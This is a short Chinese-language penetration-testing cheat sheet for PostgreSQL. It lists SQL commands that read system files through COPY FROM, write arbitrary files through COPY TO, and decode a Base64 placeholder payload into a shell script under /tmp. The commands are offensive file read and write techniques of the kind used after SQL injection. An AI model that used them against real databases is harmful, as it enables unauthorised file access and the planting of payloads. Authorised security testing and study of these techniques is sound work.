PostgreSQL渗透备忘录
# PostgreSQL渗透备忘录
# 通过COPY函数读取文件
在 PostgreSQL 数据库中可以使用COPY ... from ...
语句读取文件。
CREATE temp table test (content text); -- 创建临时表
COPY test from 'C:\\Windows\\win.ini'; -- 读取文件并存储到 test 表中
SELECT content from test; -- 查询表数据
DROP table test; -- 删除临时表
1
2
3
4
2
3
4
# 通过COPY函数写入文件
与读取文件类似,只不过查询语法变为COPY ... to ...
。
COPY (select 'abcdefg') to '/tmp/a.txt';
1
# 编码-解码
PostgreSQL 数据库中的编码和解码。
-- Base64 解码
decode('...', 'base64')
-- 字符编码转换
convert_from('...', 'utf-8')
1
2
3
4
5
2
3
4
5
将经过 Base64 编码后的载荷写入文件:
COPY (select convert_from(decode('<编码后的载荷>', 'base64'), 'utf-8')) to '/tmp/a.sh';
1
......待更新补充
编辑 (opens new window)